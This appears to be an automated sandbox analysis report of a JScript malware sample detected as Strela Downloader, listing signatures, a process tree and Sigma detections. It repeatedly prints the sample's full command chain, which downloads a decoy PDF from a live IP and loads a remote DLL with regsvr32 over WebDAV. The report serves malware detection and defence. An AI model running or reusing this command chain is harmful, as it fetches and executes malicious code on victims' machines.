Edit tour

Windows Analysis Report
1053816775239920795.js

Overview

General Information

Sample name:	1053816775239920795.js
Analysis ID:	1587999
MD5:	655df407ae38c49489d07589ec4a0fd9
SHA1:	5460d3ef38776d88d9b997f2d4e76f480fbd3d20
SHA256:	5bc7b240bd0e43cf7f087592c103f140c69688df1f86c24386ba546b2865f6ae
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5576 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1060 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 716 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,9263835075229327552,11268087022139543070,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5032 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5688 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7020 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2032	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5576, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1060, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5576, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1060, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ProcessId: 2032, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 5576, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 5576, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 5576, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 5576, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 5576, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ProcessId: 2032, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5576, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1060, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5032, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5688, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7020, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5032, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5688, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 5576, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1053816775239920795.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1053816775239920795.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2334045150.000001892956E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2334101298.000001892957A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2414501795.00000180D67BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2415020082.00000180D67DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2414821156.00000180D6788000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2414880351.00000180D67BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2414208476.00000180D67DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2414821156.00000180D6788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem5
Source: svchost.exe, 00000009.00000002.3616405118.0000022CF6215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2421545527.0000022CF6040000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2032, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1053816775239920795.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3852:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kznui4ry.cuk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js"
